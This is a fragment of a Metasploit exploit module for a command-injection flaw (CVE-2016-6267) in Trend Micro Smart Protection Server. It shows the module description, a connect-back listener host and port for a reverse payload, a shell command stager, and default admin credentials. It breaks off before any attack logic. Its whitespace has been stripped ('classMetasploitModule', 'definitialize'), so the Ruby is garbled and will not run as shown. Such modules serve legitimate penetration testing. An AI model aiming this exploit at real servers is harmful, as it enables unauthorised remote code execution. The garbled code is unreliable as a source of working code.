# Current source: https://github.com/rapid7/metasploit-framework
##
require'openssl'
require'base64'
classMetasploitModule<Msf::Exploit::Remote
Rank=ExcellentRanking
includeMsf::Exploit::Remote::HttpClient
includeMsf::Exploit::CmdStager
definitialize(info={})
super(update_info(info,
'Name'=>"Trend Micro Smart Protection Server Exec Remote Code Injection",
'Description'=>%q{
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
Please note: authentication is required to exploit this vulnerability.
},
'License'=>MSF_LICENSE,
'Author'=>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References'=>
[
['CVE-ID','CVE-2016-6267']
],
'Platform'=>'linux',
'Targets'=>[['Linux',{}]],
'Payload'=>{'BadChars'=>"\x00"},
'CmdStagerFlavor'=>['bourne'],
'Privileged'=>false,
'DefaultOptions'=>
{
'SSL'=>true
},
'DisclosureDate'=>"Aug 8 2016",
'DefaultTarget'=>0))
register_options(
[
OptBool.new('SSL',[true,'Use SSL',true]),
OptString.new('TARGETURI',[true,'The base path','/']),
OptAddress.new("LHOST",[true,"The local host for the exploits and handlers",Rex::Socket.source_address]),
OptPort.new('LPORT',[true,"The port SPS will connect back to ",4444]),
OptString.new('ADMINACCOUNT',[true,'Name of the SPS admin account','admin']),
OptString.new('ADMINPASS',[true,'Password of the SPS admin account','admin']),